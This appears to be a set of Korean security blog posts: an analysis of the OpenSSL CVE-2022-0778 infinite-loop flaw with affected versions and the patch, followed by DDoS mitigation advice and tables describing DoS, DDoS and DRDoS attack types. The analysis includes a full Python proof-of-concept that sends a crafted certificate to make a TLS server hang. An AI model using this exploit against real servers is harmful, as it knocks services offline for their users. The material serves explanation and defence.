1. OpenSSL

- 보안 통신에 사용되는 SSL 및 TLS 프로토콜의 오픈소스 라이브러리

- 여러 운영 체제와 광범위한 소프트웨어에 포함

 

/index.html

Welcome to OpenSSL! The OpenSSL Project develops and maintains the OpenSSL software - a robust, commercial-grade, full-featured toolkit for general-purpose cryptography and secure communication. The project’s technical decision making is managed by the O

www.openssl.org

 

1.1 SSL 통신 과정

[사진 1] SSL 통신 과정

2. 취약점

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2022-0778

- 조작된 패킷을 전송하여 OpenSSL 내 BN_mod_sqrt() 함수에서 연산 시 무한 루프로 인해 발생하는 서비스 거부 취약점

① 영향받는 버전
- OpenSSL 1.0.2 및 이전 버전
- OpenSSL 1.1.1 및 이전 버전
- OpenSSL 3.0 및 이전 버전

② 영향받는 상황
- 서버 인증서를 사용하는 TLS 클라이언트
- 클라이언트 인증서를 사용하는 TLS 서버
- 고객으로부터 인증서 또는 개인 키를 받는 호스팅 제공업체
- 인증 기관이 가입자의 인증 요청을 구문 분석
- ASN.1 타원 곡선 매개변수를 구문 분석하는 기타 모든 것
- 매개변수 값을 제어하는 ​​BN_mod_sqrt()를 사용하는 OpenSSL 응용 프로그램

 

2.1 분석

- a, p에 대하여 r^2 = a ( nod p) 를 만족하는 r 을 modular 제곱근이라함

- BN_mod_sqrt()는 모듈러의 제곱근을 계산

※ 함수 위치 : bn_sqrt.c

※ Tonelli–Shanks 알고리즘을 이용해 modular 제곱근을 찾는 함수

 

- 해당 함수는 아래 형식의 인증서를 해석할 때 사용

① 인증서에 압축 형식의 타원 곡선 공개 키가 포함된 경우

② 압축 형식으로 부호화된 기점을 갖는 명시적 타원 곡선 매개변수를 포함하는 인증서

 

- b^(2^i) = 1 (mod p)를 만족하는 i를 찾는 과정에서 발생

- 매개변수 p가 소수여야 하지만 함수에 검사가 없으므로 내부에 무한 루프가 발생할 수 있음

while (!BN_is_one(t)) {
            i++;
            if (i == e) {
                ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
                goto end;
            }
            if (!BN_mod_mul(t, t, t, p, ctx))
                goto end;
        }

- 위 코드는 BN_mod_sqrt() 중 취약점이 발생하는 부분

① 고정된 e와 증가하는 i에 대해 해당 loop는 i == e인 시점에 알고리즘은 종료되어야 함

② 조작된 입력값을 통해 i=1, e=1 인 상태로 해당 loop에 진입 > 무한 loop가 발생

 

[사진 3] Exploit 패킷 및 결과

2.2 PoC

- PoC의 동작 순서는 다음과 같음

① ClientHello 메시지를 전송

② ServerHello 수신 및 Certificate_Request가 포함되어 있는지 확인

③ 이 경우 임의의(조작된) Certificate를 작성하고 DER 인코딩

※ DER(Distinguished Encoding Rules)

바이너리 형태로 인코딩한 포맷으로 확장자는 .der

der 을 인식할 수 있는 프로그램(ex. openssl 등)으로 파싱하거나 ASN.1 파서를 이용

④ 조작된 Certificate를 전송 및 서버에서 구문 분석 중 CVE-2022-0778 취약점(무한 루프로 인한 서비스 거부) 발생

from socket import socket, AF_INET, SOCK_STREAM

from tlslite import TLSConnection
from tlslite.constants import *
from tlslite.messages import CertificateRequest, HandshakeMsg
from tlslite.utils.codec import Writer
import argparse


class CraftedTLSConnection(TLSConnection):

    def _clientKeyExchange(self, settings, cipherSuite,
                           clientCertChain, privateKey,
                           certificateType,
                           tackExt, clientRandom, serverRandom,
                           keyExchange):
        if cipherSuite in CipherSuite.certAllSuites:
            # Consume server certificate message
            for result in self._getMsg(ContentType.handshake,
                                       HandshakeType.certificate,
                                       certificateType):
                if result in (0, 1):
                    yield result
                else:
                    break

        if cipherSuite not in CipherSuite.certSuites:
            # possibly consume SKE message
            for result in self._getMsg(ContentType.handshake,
                                       HandshakeType.server_key_exchange,
                                       cipherSuite):
                if result in (0, 1):
                    yield result
                else:
                    break

        # Consume Certificate request if any, if not bail
        for result in self._getMsg(ContentType.handshake,
                                   (HandshakeType.certificate_request,
                                    HandshakeType.server_hello_done)):
            if isinstance(result, CertificateRequest):
                craftedCertificate = CraftedCertificate(certificateType)

                craftedCertificate.create(open('crafted.crt', "rb").read())
                for r in self._sendMsg(craftedCertificate):
                    yield r
                print("Crafted Certificate msg sent, check server.")
                exit(0)

            else:
                print("Server does not support TLS client authentication, nothing to do.")
                exit(1)


class CraftedCertificate(HandshakeMsg):
    def __init__(self, certificateType):
        HandshakeMsg.__init__(self, HandshakeType.certificate)
        self.certificateType = certificateType
        self.certChain = None
        self.der = bytearray(0)

    def create(self, certBytes):
        self.der = certBytes

    def write(self):
        w = Writer()
        if self.certificateType == CertificateType.x509:
            chainLength = len(self.der) + 3
            w.add(chainLength, 3)
            w.addVarSeq(self.der, 1, 3)
        else:
            raise AssertionError()
        return self.postWrite(w)


def run(server, port):
    sock = socket(AF_INET, SOCK_STREAM)
    sock.connect((server, port))
    connection = CraftedTLSConnection(sock)
    connection.handshakeClientCert()


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Parameters')
    parser.add_argument('--server', dest='server', type=str, help='Name of the server to connect for the TLS handshake, defaults to "localhost"', default='localhost')
    parser.add_argument('--port', dest='port', type=int, help='Port where server listens for TLS connections, defaults to "443"', default=443)
    args = parser.parse_args()
    run(args.server, args.port)

3. 대응방안

① 최신 업데이트 적용

- i == e 를 종료 조건으로 가지는 for문으로 변경

패치코드

/* Find the smallest i, 0 < i < e, such that b^(2^i) = 1. */
for (i = 1; i < e; i++) {
    if (i == 1) {
        if (!BN_mod_sqr(t, b, p, ctx))
            goto end;

    } else {
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    if (BN_is_one(t))
        break;
}

/* If not found, a is not a square or p is not prime. */
if (i >= e) {
    ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
    goto end;
}
영향 받는 버전 패치 버전
OpenSSL 1.0.2  OpenSSL 1.0.2zd
OpenSSL 1.1.1 OpenSSL 1.1.1n
OpenSSL 3.0  OpenSSL 3.0.2

※ OpenSSL 1.0.2 버전(Premium Level Support 사용자 제외) 및 1.1.0 버전은 더 이상 업데이트가 지원되지 않으니 OpenSSL 1.1.1n 또는 3.0.2 버전으로 변경할 것을 권고

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-0778

https://github.com/drago-96/CVE-2022-0778

https://blog.alyac.co.kr/4563

https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2022-0778

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36498

https://blog.rovermoot.co.kr/237

https://blog.leestory.com/558

- https://update.secui.com/vuln_detail_desc.asp?id=210211&page=8

- https://www.dailysecu.com/news/articleView.html?idxno=135121

https://hackyboiz.github.io/2022/03/19/syru/cve-2022-0778/

- https://github.com/openssl/openssl/blob/1832bb0f02e519a48f06a10467c7ce5f7f3feeeb/crypto/bn/bn_sqrt.c#L310-L318

- https://mazinga83.blogspot.com/2015/09/ssl.html

- https://github.com/jkakavas/CVE-2022-0778-POC

- https://github.com/openssl/openssl/commit/9eafb53614bf65797db25f467946e735e1b43dc9

- 각 공격방식의 특징에따라 대응 방법이 다르다.

- 일반적으로 대응하는 방식은 다음과 같다.

 

① DDoS 대응 서비스 가입

- 한국인터넷 진흥원에서 제공하는 사이버 대피소 혹은 클린존 서비스 이용

 

② 백업 서버 구축

- 디도스 공격에따른 서비스 장애를 최소화하기 위해 백업 서버 구축

 

③ 공격 대상 노출 최소화

- 공격에 이용 및 대상이 되지않도록 주기적인 점검

 

④ 서비스 점검

- 불필요한 포트 혹은 서비스를 사용중인지 점검

 

⑤ 모니터링

- 평시 발생하는 트래픽을 인지하고, 이상 트래픽의 발생 유무 모니터링

 

- KISA DDoS 공격 대응 가이드 참고

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

1. DoS (Denial Of Service) 유형

공격명 설명
TCP SYN Flooding - 3-Way HandShaking의 Half-Open 연결이 가능한 것을 이용한 취약점
- 공격자는 대상 시스템에 출발지 IP를 위조해 무수한 SYN 패킷 전송
- 대상 시스템은 위조된 IP에 SYN/ACK 패킷을 전송하며, ACK 응답을 기다림
- 출발지 IP는 위조되어 정상적인 ACK 응답을 수신하지 못함
- 대상시스템은 ACK 응답을 기다리므로, 정상 서비스 제공이 불가해짐
SMURF Attack - 출발지 IP를 대상 시스템으로 위조 및 ICMP 패킷을 직접 브로드 캐스팅 주소(X.X.X.255)로 전송
- 해당 패킷을 수신한 시스템은 대상 시스템으로 ICMP 패킷 응답 
- 대상시스템은 ICMP 응답을 과다하게 수신하여, 정상 서비스 제공이 불가해짐
Land Attack - 출발지 IP와 목적지 IP를 동일하게 설정하여 전송
- 해당 요청을 처리하는 과정에서 부하 발생
Ping of Death - ping에 사용되는 ICMP 패킷의 크기를 정상 크기보다 크게 설정하여 전송하며, 해당 패킷은 네트워크를 거치면서(라우팅 되면서) 작은 조각으로 쪼개지면서 전송됨.
- 피해 시스템에서는 수신한 패킷을 재조립하는 과정에서 부하가 발생.
Tear Drop Attack - 패킷은 네트워크를 통해 전송되면서 단편화를 통해 분할되고, 수신지에서 재조립
- 패킷이 단편회 될 때 오프셋 값을 중복되도록 설정하는 등의 방식을 통해 수신지에서 재조립시 부하 유발
Bonk - 모든 패킷의 순서번호를 1로 설정하여 전송
Boink - 첫번째 패킷의 순서번호를 1, 두번째 패킷의 순서번호를 201, 세번째 패킷의 순서번호 1011 등 순서번호를 랜덤하게 전송

2. DDoS (Distributed Denial of Service) 유형

구분 공격명 설명
전통적인 공격 Trinoo - 많은 호스트로부터 UDP Flooding을 유발
TFN(Tribed Flood Network) - Trinoo의 발전된 형태
- UDP Flooding, ICMP Flooding, TCP SYN Flooding 가능
Stacheldraht - Trinoo + TFN (두 공격이 제공하는 기능 모두 가짐)
- 마스터와 에이전트 간 통신에 암호화 기능을 사용
TFN2K - TFN의 발전된 형태
- 통신에 특정 포트를 사용하지 않고, 암호화 통신
대역폭 공격 - UDP Flooding
- UDP 프로토콜 반사 공격
- ICMP Flooding
- 대량의 트래픽을 피해 시스템에 전송 하여 대역폭을 고갈 시킴
자원 소진 공격 - TCP SYN, ACK Flooding
- Smurf Attack
- 대량의 트래픽을 피해 시스템에 전송 하여 피해 시스템의 서비스 자원을 고갈 시킴
웹/DB 부하 공격 - GET Flooding
- Slowloris Attack
- RUDY Attack
- Slow read Attack
- 정상적인 세션을 맺은 후 과도한 요청을 보내어 서버에 부하를 유발 시킴

3. DRDoS (Distributed Reflection Denial of Service) 유형

공격명 설명
DNS Reflection Attack - 출발지 IP를 대상 시스템으로 위장하여, 다수의 DNS 서버에 ANY, TXT 레코드 요청.
- ANY 레코드 : 도메인에 대한 모든 레코드 질의 시 사용.
- TXT 레코드 : 도메인과 관련해 저장해야 할 임의의 문자를 나타냄.
- 두 레코드 모두 요청에 비해 응답이 크기 때문에 공격에 주로 사용됨.
NTP Reflection Attack - 출발지 IP를 대상 시스템으로 위장하여, 다수의 NTP 서버에 monlist 요청.
- monlist : 최근에 접속한 최대 600개의 호스트 정보를 요청

 

* 해당 방식 외에도 다양한 방식이 존재하며, 구분한 기준 역시 상대적인 것임.

1. DoS (Denial of Service)

- 정당한 사용자가 서비스를 사용하는 것을 방해하는 행위.

- 대상 시스템의 처리 범위를 초과하는 과도한 트래픽을 전송해 부하를 유발하여 정상 서비스를 제공하지 못하도록 함.

- 단일 공격자가 단일 시스템을 대상으로 공격 진행.

 

2. DDoS (Distributed Denial of Service)

- DoS와 마찬가지로 대상 시스템의 처리 범위를 초과하는 과도한 트래픽을 전송해 부하를 유발하여 정상 서비스를 제공하지 못하도록 함.

- 취약한 서버에 악성코드를 배포해 좀비 PC로 이루어진 봇넷을 형성한 후 공격.

- 다수의 분산 좀비 PC를 이용해 단일 시스템에 공격 진행.

[캡쳐 1] DDoS 공격 (https://jwprogramming.tistory.com/181)

구성 요소 설명
공격자, 봇 마스터 - 공격을 주도하는 공격자의 PC
- C&C 서버에 명령을 전달하는 역할
마스터, C&C 서버 - 공격자로부터 명령을 전달받음
- 다수의 에이전트 관리
핸들러 프로그램 - 마스터 시스템의 역할을 수행하는 프로그램
에이전트 - 악성코드에 감염된 시스템으로, 대상 시스템에 직접적인 공격 수행
- 봇, 좀비PC 등으로도 불리며, 이들이 형성한 네트워크를 봇넷이라 함
데몬 프로그램 - 에이전트 시스템 역할을 수행
표적 - 공격의 대상이되는 피해 시스템

3. DRDoS (Distributed Reflection Denial of Service)

- 대상 시스템의 처리 범위를 초과하는 과도한 트래픽을 전송해 부하를 유발하여 정상 서비스를 제공하지 못하도록 함.

- 악성코드를 배보하고 봇넷을 형성하는 등의 과정없이 프로토콜의 구조적 취약점을 이용한 공격.

- 해당 프로토콜의 구조적 취약점을 이용해 정상적인 서비스를 제공하는 시스템을 반사체로 이용해 공격 진행.

[캡쳐 2] DRDoS (https://infosec-ledger.tistory.com/24)

구성 요소 설명
공격자 - 공격을 주도하는 공격자의 PC
반사 서버 - 정상적인 서비스를 제공하나, 프로토콜 구조상 취약점으로 인해 공격에 악용되는 서버
피해자 - 공격의 대상이되는 피해 시스템
일반 DDoS와의 차이점 - 10~500배 이상 트래픽 증폭
  반사 서버의 양과 공격의 규모는 비례

- 공격 패킷이 전송되는 경로의 다양성
  공격이 직접적으로 공격대상으로 향하는 것이 아니라 네트워크에 연결된 무수한 반사 서버로 전송

- 반사 서버의 단계적 사용 및 확산
  반사 서버의 양과 공격의 규모는 비례

- 공격이 발생한 최초의 IP에 대해 역추적이 어려움.
  Src IP를 공격 대상 IP로 위조 및 수 많은 반사 서버를 경유하므로, 근원지 역추적이 거의 불가능

 

+ Recent posts